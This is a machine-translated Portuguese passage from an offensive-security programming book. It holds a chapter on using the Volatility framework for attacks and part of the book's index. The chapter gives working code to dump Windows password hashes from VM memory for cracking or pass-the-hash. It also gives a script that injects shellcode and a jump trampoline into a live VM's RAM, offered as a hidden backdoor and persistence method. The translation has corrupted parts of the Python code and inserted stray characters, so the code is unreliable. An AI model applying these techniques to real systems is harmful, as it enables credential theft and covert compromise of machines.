[22] Documentação da classe Win32_Process : http:// msdn.microsoft.com/ en-us/ library/ aa394372(v=vs.85).aspx

[23] MSDN – Tokens de acesso: http:// msdn.microsoft.com/ en-us/ library/ Aa374909.aspx

[24] Para obter a lista completa de privilégios, visite http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/ bb530716(v=vs.85).aspx.

[25] Carlos Perez faz um trabalho incrível com o PowerShell; consulte http:// www.darkoperator.com/.
Machine Translated by Google
Capítulo 11. Automatizando a Análise Forense Ofensiva
O pessoal forense costuma ser chamado após uma violação ou para determinar se um “incidente” ocorreu. Eles
geralmente querem um instantâneo da RAM da máquina afetada para capturar chaves criptográficas ou outras
informações que residem apenas na memória. Para sua sorte, uma equipe de desenvolvedores talentosos criou uma
estrutura Python inteira adequada para essa tarefa chamada Volatility, anunciada como uma estrutura forense de
memória avançada. Respondentes de incidentes, examinadores forenses e analistas de malware também podem usar
o Volatility para uma variedade de outras tarefas, incluindo inspecionar objetos do kernel, examinar e descarregar
processos e assim por diante. Nós, é claro, estamos mais interessados nas capacidades ofensivas que o Volatility
oferece.

Primeiro, exploramos o uso de alguns dos recursos de linha de comando para recuperar hashes de senha de uma
máquina virtual VMWare em execução e, em seguida, mostramos como podemos automatizar esse processo de
duas etapas incluindo Volatilidade em nossos scripts. O exemplo final mostra como podemos injetar shellcode
diretamente em uma VM em execução em um local preciso que escolhemos. Essa técnica pode ser útil para prender os
usuários paranóicos que navegam ou enviam e-mails apenas de uma VM. Também podemos deixar um backdoor oculto
em um instantâneo da VM que será executado quando o administrador restaurar a VM. Esse método de injeção de
código também é útil para executar código em um computador que possui uma porta FireWire que você pode acessar,
mas que está bloqueada ou inativa e requer uma senha. Vamos começar!
Machine Translated by Google
Instalação
A volatilidade é extremamente fácil de instalar; você só precisa baixá-lo em
https:// code.google.com/ p/ volatility/ downloads/ list. Eu normalmente não faço uma instalação completa. Em vez
disso, mantenho-o em um diretório local e adiciono o diretório ao meu caminho de trabalho, como você verá nas
seções a seguir. Um instalador do Windows também está incluído. Escolha o método de instalação de sua
preferência; deve funcionar bem, faça o que fizer.
Machine Translated by Google
Perfis
A volatilidade usa o conceito de perfis para determinar como aplicar as assinaturas e compensações necessárias para
extrair informações dos despejos de memória. Mas se você puder recuperar uma imagem de memória de um alvo via
FireWire ou remotamente, talvez não saiba necessariamente a versão exata do sistema operacional que está atacando.
Felizmente, o Volatility inclui um plug-in chamado imageinfo que tenta determinar qual perfil você deve usar contra o alvo.
Você pode executar o plugin assim:
$ python vol.py imageinfo -f "memorydump.img"

Depois de executá-lo, você deve obter um bom pedaço de informação de volta. A linha mais importante é a linha
Suggested Profiles , que deve ser mais ou menos assim:
Perfis sugeridos: WinXPSP2x86, WinXPSP3x86

Ao executar os próximos exercícios em um alvo, você deve definir o sinalizador de linha de comando -- perfil para o valor
apropriado mostrado, começando com o primeiro listado. No cenário acima, teríamos
usar:
$ python vol.py plugin --profile ="WinXPSP2x86" argumentos

Você saberá se configurou o perfil errado porque nenhum dos plug-ins funcionará corretamente ou o Volatility
lançará erros indicando que não foi possível encontrar um mapeamento de endereço adequado.
Machine Translated by Google
Capturando hashes de senha Recuperar
os hashes de senha em uma máquina Windows após a penetração é um objetivo comum entre os
invasores. Esses hashes podem ser quebrados offline em uma tentativa de recuperar a senha do alvo ou
podem ser usados em um ataque pass-the-hash para obter acesso a outros recursos da rede. Examinar
as VMs ou instantâneos em um destino é um local perfeito para tentar recuperar esses hashes.

Seja o alvo um usuário paranóico que executa operações de alto risco apenas em uma VM ou uma empresa
tentando conter algumas das atividades de seu usuário em VMs, as VMs apresentam um excelente ponto para coletar
informações depois que você obtém acesso ao hardware do host .

A volatilidade torna esse processo de recuperação extremamente fácil. Primeiro, veremos como operar os plug-ins
necessários para recuperar os deslocamentos na memória onde os hashes de senha podem ser recuperados e, em
seguida, recuperar os próprios hashes. Em seguida, criaremos um script para combinar isso em uma única etapa.

O Windows armazena senhas locais na seção de registro do SAM em um formato de hash e, junto com isso, a chave
de inicialização do Windows armazenada na seção de registro do sistema . Precisamos dessas duas colméias para extrair
os hashes de uma imagem de memória. Para começar, vamos executar o plug-in hivelist para fazer com que o Volatility
extraia os deslocamentos na memória onde essas duas colmeias vivem. Em seguida, passaremos essas informações
para o plug-in hashdump para fazer a extração real do hash. Entre no seu terminal e execute o seguinte comando:

$ python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem"

Depois de um ou dois minutos, você deve ser apresentado a alguma saída exibindo onde essas seções de registro
residem na memória. Recortei uma parte da saída por uma questão de brevidade.
Virtual Nome Físico
---------- ---------- ----

0xe1666b60 0x0ff01b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software 0xe1673b60 0x0fedbb60


\Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1455758 0x070f7758 [sem nome]
0xe1035b60 0x06cd3b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system

Na saída, você pode ver os deslocamentos de memória física e virtual do SAM e das chaves do sistema em negrito.
Tenha em mente que o deslocamento virtual lida com onde na memória, em relação ao sistema operacional, essas
colméias existem. O deslocamento físico é o local no arquivo .vmem real no disco onde essas seções existem. Agora que
temos o SAM e as seções do sistema , podemos passar os deslocamentos virtuais para o plug-in hashdump . Volte ao
seu terminal e digite o seguinte comando, lembrando que seus endereços virtuais serão diferentes dos que mostro.

$ python vol.py hashdump -d -d -f "WindowsXPSP2.vmem" --


profile=WinXPSP2x86 -y 0xe1035b60 -s 0xe17adb60

A execução do comando acima deve fornecer resultados muito parecidos com os abaixo:
Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
77041b27:::
Convidado:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec fdfa81aee:::

Perfeito! Agora podemos enviar os hashes para nossas ferramentas de cracking favoritas ou executar um pass-the-hash
para autenticar em outros serviços.

Agora, vamos pegar esse processo de duas etapas e simplificá-lo em nosso próprio script autônomo. Abra
grabhashes.py e digite o seguinte código:
Machine
importarTranslated
sys by Google
importar struct
importar volatilidade.conf como conf importar
volatilidade.registro como registro

ÿ arquivo_de_memória = "WindowsXPSP2.vmem"
ÿ sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

Registry.PluginImporter() config =
conf.ConfObject()

import volatility.commands como comandos import


volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file

Registry.register_global_options(config, commands.Command)
Registry.register_global_options(config, addrspace.BaseAddressSpace)

Primeiro definimos uma variável para apontar para a imagem de memória ÿ que vamos analisar. Em seguida, incluímos
nosso caminho de download do Volatility ÿ para que nosso código possa importar com êxito as bibliotecas do Volatility. O
restante do código de suporte é apenas para configurar nossa instância do Volatility com o perfil e as opções de
configuração definidas também.

Agora vamos mergulhar em nosso código de despejo de hash real. Adicione as seguintes linhas a grabhashes.py.

from volatility.plugins.registry.registryapi import RegistryApi from volatility.plugins.registry.lsadump


import HashDump

ÿ registro = RegistryApi(config) ÿ
registro.populate_offsets()

sam_offset = Nenhum
sys_offset = Nenhum

para compensação em Registry.all_offsets:

ÿ if Registry.all_offsets[offset].endswith("\\SAM"): sam_offset = offset print "[*] SAM:


0x%08x" % offset

ÿ if Registry.all_offsets[offset].endswith("\\system"): sys_offset = offset print "[*] System:


0x%08x" % offset

se sam_offset não for None e sys_offset não for None: config.sys_offset =


ÿ sys_offset config.sam_offset = sam_offset

ÿ hashdump = HashDump(config)

ÿ para hash em hashdump.calculate():


imprimir hash

pausa

se sam_offset for None ou sys_offset for None: print "[*] Failed to


find the system or SAM offsets."

Primeiro instanciamos uma nova instância de RegistryApi ÿ que é uma classe auxiliar com funções de registro
comumente usadas; leva apenas a configuração atual como parâmetro. A chamada populate_offsets ÿ executa o
equivalente à execução do comando hivelist que abordamos anteriormente.
Em seguida, começamos a percorrer cada uma das colmeias descobertas procurando o SAM ÿ e o sistema ÿ
Machine
urticária. Translated
Quando eles by
sãoGoogle
descobertos, atualizamos o objeto de configuração atual com seus respectivos deslocamentos ÿ.
Em seguida, criamos um objeto HashDump ÿ e passamos o objeto de configuração atual. A etapa final ÿ é iterar sobre os
resultados da chamada de função de cálculo, que produz os nomes de usuário reais e seus hashes associados.

Agora execute este script como um arquivo Python autônomo:

$ python grabhashes.py

Você deve ver a mesma saída de quando executou os dois plug-ins independentemente. Uma dica que sugiro é que, ao procurar
encadear a funcionalidade (ou emprestar a funcionalidade existente), faça um grep no código-fonte do Volatility para ver como
eles estão fazendo as coisas nos bastidores. Volatility não é uma biblioteca Python como Scapy, mas examinando como os
desenvolvedores usam seu código, você verá como usar corretamente quaisquer classes ou funções que eles expõem.

Agora vamos passar para alguma engenharia reversa simples, bem como injeção de código direcionada para infectar uma máquina
virtual.
Machine Translated by Google
A tecnologia de virtualização de
injeção direta de código está sendo usada cada vez com mais frequência com o passar do tempo, seja por
causa de usuários paranóicos, requisitos de plataforma cruzada para software de escritório ou concentração de
serviços em sistemas de hardware mais robustos. Em cada um desses casos, se você comprometeu um sistema
host e vê VMs em uso, pode ser útil entrar nelas. Se você também vir arquivos instantâneos da VM por aí, eles
podem ser um lugar perfeito para implantar o shell-code como um método de persistência. Se um usuário reverter
para um instantâneo que você infectou, seu shellcode será executado e você terá um novo shell.

Parte da execução da injeção de código no convidado é que precisamos encontrar um local ideal para injetar o código.
Se você tiver tempo, um lugar perfeito é encontrar o loop de serviço principal em um processo do SISTEMA, porque
você garante um alto nível de privilégio na VM e que seu shellcode será chamado. A desvantagem é que, se você
escolher o local errado ou seu shellcode não estiver escrito corretamente, poderá corromper o processo e ser pego
pelo usuário final ou matar a própria VM.

Faremos uma engenharia reversa simples do aplicativo de calculadora do Windows como um alvo inicial. O
primeiro passo é carregar calc.exe no Immunity Debugger [26] e escrever um script de cobertura de código simples
que nos ajude a encontrar a função do botão = . A ideia é que possamos executar rapidamente a engenharia reversa,
testar nosso método de injeção de código e reproduzir facilmente os resultados. Usando isso como base, você pode
progredir para encontrar alvos mais complicados e injetar shellcode mais avançado.
Depois, é claro, encontre um computador compatível com FireWire e experimente!

Vamos começar com um simples Immunity Debugger PyCommand. Abra um novo arquivo em sua VM do Windows
XP e nomeie-o como codecoverage.py. Certifique-se de salvar o arquivo no diretório principal de instalação do
Immunity Debugger na pasta PyCommands .
da importação immlib *

classe cc_hook(LogBpHook):

def __init__(self):

LogBpHook.__init__(self) self.imm =
Debugger()

def run(self,regs):

self.imm.log("%08x" % regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])

Retorna

def main(args):

imm = Depurador()

calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())

funções = imm.getAllFunctions(calc.getCodebase())

prostituta = cc_hook()

para função em funções:


hooker.add("%08x"% função, função)

return "Rastreando %d funções." % len(funções)

Este é um script simples que encontra todas as funções em calc.exe e para cada uma define um one-shot
Machine
ponto Translated byIsso
de interrupção. Google
significa que, para cada função executada, o Immunity Debugger gera o endereço da
função e, em seguida, remove o ponto de interrupção para que não registremos continuamente os mesmos
endereços de função. Carregue calc.exe no Immunity Debugger, mas não o execute ainda. Em seguida, na barra de
comandos na parte inferior da tela do Immunity Debugger, digite:

! Cobertura de código

Agora você pode executar o processo pressionando a tecla F9. Se você alternar para a Visualização de Log (ALT-L), verá
as funções rolarem. Agora clique em quantos botões quiser, exceto o botão =. A ideia é que você queira executar tudo
menos a única função que está procurando. Depois de clicar o suficiente, clique com o botão direito do mouse em Log
View e selecione Clear Window. Isso remove todas as suas funções de acesso anteriores. Você pode verificar isso
clicando em um botão que você clicou anteriormente; você não deve ver nada aparecer na janela de registro. Agora vamos
clicar naquele botão chato =. Você deve ver apenas uma única entrada na tela de log (talvez seja necessário inserir uma
expressão como 3+3 e, em seguida, pressionar o botão =). Na minha VM do Windows XP SP2, esse endereço é
0x01005D51.

Tudo bem! Nosso rápido tour pelo Immunity Debugger e algumas técnicas básicas de cobertura de código acabou e
temos o endereço onde queremos injetar o código. Vamos começar a escrever nosso código Volatility para fazer esse
negócio desagradável.

Este é um processo de vários estágios. Primeiro, precisamos escanear a memória procurando o processo calc.exe e,
em seguida, procurar em seu espaço de memória um local para injetar o shellcode, bem como encontrar o deslocamento
físico na imagem RAM que contém a função que encontramos anteriormente. Em seguida, temos que inserir um pequeno
salto sobre o endereço da função para o botão = que salta para o nosso shellcode e o executa. O shellcode que usamos
para este exemplo é de uma demonstração que fiz em uma fantástica conferência de segurança canadense [27] chamada
Countermeasure. Este shellcode está usando compensações codificadas, portanto, sua milhagem pode variar.

Abra um novo arquivo, nomeie-o como code_inject.py e elabore o seguinte código.


import sys
import struct

botão_igual = 0x01005D51

memory_file = "WinXPSP2.vmem"
slack_space = Nenhum

trampoline_offset = Nenhum

# leia nosso shellcode


ÿ sc_fd = open("cmeasure.bin","rb") = sc_fd.read()
sc sc_fd.close()

sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

import volatility.conf como conf import


volatility.registry como registro

Registry.PluginImporter() config =
conf.ConfObject()

import volatility.commands como comandos import


volatility.addrspace as addrspace

Registry.register_global_options(config, commands.Command)
Registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "WinXPSP2x86"
Machine Translated=by
config.LOCATION Google % arquivo_de_memória
"arquivo://%s"

Esse código de configuração é idêntico ao código anterior que você escreveu, com a exceção de que estamos
lendo o shellcode ÿ que injetaremos na VM.

Agora vamos colocar o restante do código no lugar para realmente executar a injeção.
importar volatility.plugins.taskmods como taskmods

ÿ p = taskmods.PSList(config)

ÿ para processo em p.calculate():

if str(process.ImageFileName) == "calc.exe":

print "[*] Encontrado calc.exe com PID %d" % process.UniqueProcessId print "[*] Procurando offsets
físicos... aguarde."

ÿÿ address_space = process.get_process_address_space() =
Páginas address_space.get_available_pages()

Primeiro instanciamos uma nova classe PSList ÿ e passamos nossa configuração atual. O módulo PSList é
responsável por percorrer todos os processos em execução detectados na imagem da memória. Nós iteramos
sobre cada processo ÿ e se descobrirmos um processo calc.exe , obtemos seu espaço de endereço completo ÿ e
todas as páginas de memória do processo ÿ.

Agora vamos percorrer as páginas de memória para encontrar um pedaço de memória do mesmo tamanho que
nosso shellcode preenchido com zeros. Além disso, estamos procurando o endereço virtual de nosso manipulador
de botão = para que possamos escrever nosso trampolim. Digite o código a seguir, lembrando-se do recuo.

para página em páginas:

ÿ físico = address_space.vtop(page[0])

se físico não for Nenhum:

se slack_space for Nenhum:

ÿ fd = open(memory_file,"r+") fd.seek(physical)
buf = fd.read(page[1])

experimentar:

ÿ offset = buf.index("\x00" * len(sc)) slack_space = page[0]


+ offset

print "[*] Encontrado um bom local de shellcode!" print "[*] Endereço


virtual: 0x%08x" % slack_space print "[*] Endereço físico: 0x%08x" % (físico. +
offset) print "[*] Injetando shellcode."

ÿ fd.seek(físico + offset) fd.write(sc)

fd.flush()

# crie nosso trampolim tramp =


ÿ "\xbb%s" % struct.pack("<L", page[0] + offset) tramp += "\xff\xe3"

se trampoline_offset não for None: break

exceto:
passar
Machine Translated by Google
fd.close()

# verifica a localização do nosso código de destino if


ÿ page[0] <= equals_button and . equals_button < ((página[0]
+ página[1])-7):

print "[*] Encontrou nosso alvo de trampolim em: 0x%08x" . % (físico)

# calcula o deslocamento virtual v_offset


ÿ = equals_button - page[0]

# agora calcula o offset físico trampoline_offset =


physical + v_offset

print "[*] Encontrou nosso alvo de trampolim em: 0x%08x" . % (trampolim_offset)

se slack_space não for None: break

print "[*] Escrevendo trampolim..."

ÿ fd = open(memory_file, "r+")
fd.seek(trampoline_offset) fd.write(tramp)
fd.close()

print "[*] Concluída a injeção de código."

Tudo bem! Vamos examinar o que todo esse código faz. Quando iteramos sobre cada página, o código retorna
uma lista de dois membros em que page[0] é o endereço da página e page[1] é o tamanho da página em bytes.
À medida que percorremos cada página da memória, primeiro encontramos o deslocamento físico (lembre-se do
deslocamento na imagem da RAM no disco) ÿ de onde está a página. Em seguida, abrimos a imagem RAM ÿ,
procuramos o deslocamento de onde está a página e, em seguida, lemos a página inteira da memória. Em
seguida, tentamos encontrar um pedaço de NULLbytes ÿ do mesmo tamanho do nosso shellcode; é aqui que
escrevemos o shellcode na imagem RAM ÿ. Após encontrarmos um local adequado e injetarmos o shellcode,
pegamos o endereço do nosso shellcode e criamos um pequeno bloco de opcodes x86 ÿ. Esses opcodes geram
o seguinte assembly:
mov ebx, ADDRESS_OF_SHELLCODE
jmp ebx

Lembre-se de que você pode usar os recursos de desmontagem do Volatility para garantir a desmontagem do
número exato de bytes necessários para o salto e restaurar esses bytes em seu shellcode. Vou deixar isso
como dever de casa.
A etapa final do nosso código é testar se nossa função do botão = reside na página atual na qual estamos
iterando ÿ. Se o encontrarmos, calculamos o deslocamento ÿ e então escrevemos nosso trampolim ÿ.
Agora temos nosso trampolim no lugar que deve transferir a execução para o shellcode que colocamos na imagem
RAM.
Machine Translated by Google
Chutando os pneus A
primeira etapa é fechar o Immunity Debugger se ele ainda estiver em execução e fechar todas as instâncias do calc.e
Agora abra calc.exe e execute seu script de injeção de código. Você deve ver uma saída como esta:
$ python code_inject.py [*] Calc.exe
encontrado com PID 1936 [*] Procurando
deslocamentos físicos... aguarde.
[*] Encontrou uma boa localização de shellcode!
[*] Endereço virtual: 0x00010817 [*] Endereço
físico: 0x33155817 [*] Injetando shellcode.

[*] Encontramos nosso alvo de trampolim em: 0x3abccd51 [*]


Escrevendo trampolim...
[*] Injeção de código concluída.

Bonita! Ele deve mostrar que encontrou todos os deslocamentos e injetou o shellcode. Para testá-lo, simplesmente
entre em sua VM, faça um rápido 3+3 e pressione o botão =. Você deve ver uma mensagem aparecer!
Agora você pode tentar fazer engenharia reversa de outros aplicativos ou serviços além do calc.exe para testar
essa técnica. Você também pode estender essa técnica para tentar manipular objetos do kernel que podem
imitar o comportamento do rootkit. Essas técnicas podem ser uma maneira divertida de se familiarizar com a
análise forense de memória e também são úteis para situações em que você tem acesso físico a máquinas ou
invadiu um servidor que hospeda várias VMs.

[26] Baixe o Immunity Debugger aqui: http:// debugger.immunityinc.com/.

[27] Se você quiser escrever seu próprio shellcode MessageBox, consulte este tutorial: https:// www.corelan.be/ index.php/ 2010/02/25/
exploit Writing-tutorial-part-9-introduction-to- win32-shellcoding/.
Machine Translated by Google
Machine Translated by Google
Índice

UMA OBSERVAÇÃO SOBRE O D IGITA L IN D EX

Um link em uma entrada de índice é exibido como o título da seção na qual essa entrada aparece. Como algumas seções têm vários
marcadores de índice, não é incomum que uma entrada tenha vários links para a mesma seção. Clicar em qualquer link o levará diretamente ao
local no texto em que o marcador aparece.

UMA

Protocolo de resolução de endereços, envenenamento de cache ARP com Scapy (consulte envenenamento de cache ARP)

Função AdjustTokenPrivileges, privilégios de token do Windows

Parâmetro AF_INET, The Network: Basics

Envenenamento de cache ARP (Address Resolution Protocol), Envenenamento de cache ARP com Scapy, Cache ARP
Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP
Envenenamento de Cache com Scapy

adicionando funções de suporte, ARP Cache Poisoning com Scapy

script de envenenamento de codificação, ARP Cache Poisoning com Scapy

inspecionando cache, Envenenamento de Cache ARP com teste

Scapy , Envenenamento de Cache ARP com Scapy

Classe BHPFuzzer, Burp Fuzzing

Motor de busca Bing, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp,
Bing for Burp

definição de classe extensora, funcionalidade

Bing for Burp para analisar resultados, Bing for Burp

funcionalidade para realizar consultas, Bing for Burp

teste, Bing para Burp, Bing para Burp

função bing_menu, Bing para Burp função

bing_search, Bing para Burp

Biondi, Philippe, dono da rede com Scapy

Função BitBlt, captura de tela

Objetos de ajuda do navegador, criando ataques de força

bruta do servidor , chutando os pneus, diretórios de força bruta e locais de arquivos, força bruta
Diretórios e locais de arquivos, força bruta Diretórios e locais de arquivos, força bruta
Diretórios e locais de arquivos, diretórios de força bruta e locais de arquivos, HTML de força bruta
Machine Translated
Autenticação by Google
de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, chutando os pneus

em autenticação de formulário HTML, HTML de força brutaAutenticação de formulário, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus

formulário de login do administrador, Autenticação Brute-Forcing HTMLForm

configurações gerais, Brute-Forcing HTMLForm Authentication

Classe de análise HTML, autenticação Brute-Forcing HTMLForm colando

na lista de palavras, autenticação Brute-Forcing HTMLForm

classe primária de força bruta, autenticação de HTMLForm de força bruta

fluxo de solicitação, teste de autenticação HTMLForm de força

bruta , chutando os pneus

em diretórios e locais de arquivos, Kicking the Tires, Brute-Forcing Directories and File Locations,
Diretórios de força bruta e locais de arquivos, Diretórios de força bruta e locais de arquivos,
Diretórios de força bruta e locais de arquivos, diretórios de força bruta e locais de arquivos

aplicando lista de extensões para testar, diretórios de força bruta e locais de arquivos

criando lista de extensões, diretórios de força bruta e locais de arquivos

criação de objetos Fila a partir de arquivos de lista de palavras, diretórios de força bruta e locais de

arquivos configuração de lista de palavras, diretórios de força bruta e testes de locais de arquivos,

diretórios de força bruta e locais de arquivos

função build_wordlist, autenticação de HTMLForm de força bruta

API do Burp Extender, Estendendo o Burp Proxy, Estendendo o Burp Proxy, Estendendo o Burp Proxy, Burp
Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Bing for Burp,
Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, transformando o conteúdo do site em senha
Gold, transformando o conteúdo do site em senha Gold, transformando o conteúdo do site em senha Gold,
Transformando o conteúdo do site em senha de ouro, transformando o conteúdo do site em senha de ouro
Machine Translated by Google
criar lista de palavras para adivinhação de senhas, Transformar o conteúdo do site em senha de ouro, Transformar
Conteúdo do site em senha de ouro, transformando o conteúdo do site em senha de ouro, transformando
Conteúdo do site em Password Gold, transformando o conteúdo do site em Password Gold

convertendo o tráfego HTTP selecionado em lista de palavras, transformando o conteúdo do site em senha de ouro

funcionalidade para exibir lista de palavras, Transformando o conteúdo do site em teste de senha

Gold, Transformando o conteúdo do site em Password Gold, Transformando o conteúdo do site em senha
Ouro

criando fuzzers de aplicativos da web, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus

acessando a documentação do Burp, Burp Fuzzing

implementando código para atender aos requisitos, Burp Fuzzing

carregando extensão, Burp Fuzzing, Burp Fuzzing fuzzer

simples, Burp Fuzzing usando extensão em ataques,

Chutando os Pneus, Chutando os Pneus, Chutando os Pneus

instalação, extensão do Burp Proxy, Burp Fuzzing

interface com a API do Bing para mostrar todos os hosts virtuais, Kicking the Tires, Bing for Burp, Bing for
Arroto, Bing para arroto, Bing para arroto, Bing para arroto

definição de classe extensora, funcionalidade

Bing for Burp para analisar resultados, Bing for Burp

funcionalidade para realizar consultas, Bing for Burp

teste, Bing para Burp, Bing para Burp

Arquivo JAR autônomo Jython, Extending Burp Proxy, Burp Fuzzing

Aula BurpExtender, Burp Fuzzing

C
Caim e Abel, Chutando os Pneus

CANVAS, Pythonic Shellcode Execution, Pythonic Shellcode Execution channel method,

SSH Tunneling

Mensagem ClientConnected, SSH com Paramiko

injeção de código, chutando os pneus, injeção direta de código

automação forense ofensiva, injeção direta de código

Escalação de privilégios do Windows, chutando os pneus

diretório de configuração, comando e controle do Github


Machine
função Translated by Google
connect_to_github, Construindo um Trojan Github-Aware

Cabeçalho de comprimento de conteúdo, Man-in-the-Browser (mais ou menos)

parâmetro de contagem, possuindo a rede com Scapy

função createMenuItem, função Bing for

Burp createNewInstance, Burp Fuzzing

Função CreateProcess, criando um monitor de processo

Classe CredRequestHandler, Man-in-the-Browser (mais ou menos)

módulo ctypes, decodificando a camada IP

D
diretório de dados, comando e controle do Github

Guia Debug Probe, WingIDE, WingIDE

Mensagem de destino inacessível, chutando os pneus, decodificando ICMP

Projeto DirBuster, função Kicking the

Tires dir_bruter, diretórios de força bruta e locais de arquivos

função display_wordlist, transformando o conteúdo do site em senha de ouro

função easy_install, Instalando o Kali Linux

Projeto El Jefe, Criando um Monitor de Processo

função encrypt_post, IE COM automação para exfiltração

função encrypt_string, configuração do ambiente IE COM Automation

for Exfiltration , configuração do ambiente Python, instalação do Kali Linux, instalação do Kali Linux,
Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali
Linux, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE
Machine Translated by Google
Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux,
Instalando o Kali Linux, Instalando o Kali Linux

nome de usuário e senha padrão, Instalando o ambiente de desktop

Kali Linux, Instalando o Kali Linux determinando a versão, Instalando

o Kali Linux

baixando a imagem, Instalando o Kali Linux

discussão geral, Instalando o Kali Linux

WingIDE, Instalando Kali Linux, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE

acessando, WingIDE

corrigindo dependências ausentes, WingIDE

discussão geral, Instalando Kali Linux inspecionando

e modificando variáveis locais, WingIDE, instalação de WingIDE , WingIDE

abrindo arquivo Python em branco, WingIDE

definindo pontos de interrupção, script

de configuração WingIDE para depuração, WingIDE, WingIDE

exibindo rastreamento de pilha, WingIDE, WingIDE

Aba Erros, Burp, Kicking the Tires

função exfiltrate, IE COM Automation for Exfiltration

exfiltration, Criando o Servidor, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração, IE COM Automação para Exfiltração

rotinas de criptografia, IE COM Automation for Exfiltration script de

geração de chaves, IE COM Automation for Exfiltration

funcionalidade de login, IE COM Automation for Exfiltration

funcionalidade de postagem, funções de suporte IE COM Automation para

Exfiltration , IE COM Automation para teste de Exfiltration , IE COM

Automation for Exfiltration

Guia Extender, Burp, Burp Fuzzing, Kicking the Tires, Kicking the Tires

função extract_image, Processamento PCAP

F
Machine Translated by Google
método de alimentação, autenticação de HTMLForm de força bruta

Fidao, Chris, PCAP Processing

Classe FileCookieJar, parâmetro de filtro de autenticação HTMLForm de força

bruta , propriedade da rede com a função find_module Scapy, funcionalidade de

importação do Hacking Python

túnel SSH avançado, chutando os pneus, chutando os pneus

Frisch, Dan, Escalação de Privilégios do Windows

G
GDI (interface de dispositivo gráfico do Windows), chutando os pneus

Solicitações GET, a biblioteca de soquetes da Web: urllib2

Função GetAsyncKeyState, detecção de sandbox

Função GetForeGroundWindow, Keylogging for Fun e Keystrokes função

getGeneratorName, Burp Fuzzing

Função GetLastInputInfo, detecção de sandbox

Função getNextPayload, Burp Fuzzing

Função GetOwner, monitoramento de processos com WMI

Função GetTickCount, Detecção de Sandbox

Função GetWindowDC, captura de tela

Função GetWindowTextA, Keylogging para diversão e teclas digitadas

Função GetWindowThreadProcessId, Keylogging for Fun e Keystrokes get_file_contents

function, Construindo um Trojan Github-Aware

função get_http_headers, processamento PCAP

função get_mac, envenenamento de cache ARP com Scapy

função get_trojan_config, criação de uma função get_words de cavalo de

Tróia Github-Aware , transformação do conteúdo do site em senha de ouro

Trojans compatíveis com o GitHub, comando e controle do Github, comando e controle do Github, criação
Módulos, Configuração de Trojan, Construindo um Trojan Github-Aware, Hackeando a importação do Python
Funcionalidade, hackeando a funcionalidade de importação do Python, chutando os pneus
Machine Translated by Google
configuração de conta, Github Command and Control

construindo, Construindo um Trojan Github-Aware

configurando, Configuração de Trojan criando módulos,

Criando Módulos

funcionalidade de importação de hackers, Funcionalidade de importação do Hacking Python

melhorias e aprimoramentos para, Kicking the Tires testing, Hacking

Python's import Functionality github3 module, Installing Kali Linux

Classe GitImporter, Hackeando a funcionalidade de importação do Python

H
função handle_client, função handle_comment

do servidor TCP , transformando o conteúdo do site em senha de ouro

função handle_data, autenticação de HTMLForm de força bruta, transformando o conteúdo do site em


Senha Ouro

função handle_endtag, autenticação de HTMLForm de força bruta

função handle_starttag, autenticação de HTMLForm de força bruta

Objeto HashDump, capturando hashes de senha plug-in

hashdump, capturando hashes de senha

função hasMorePayloads, Burp Fuzzing

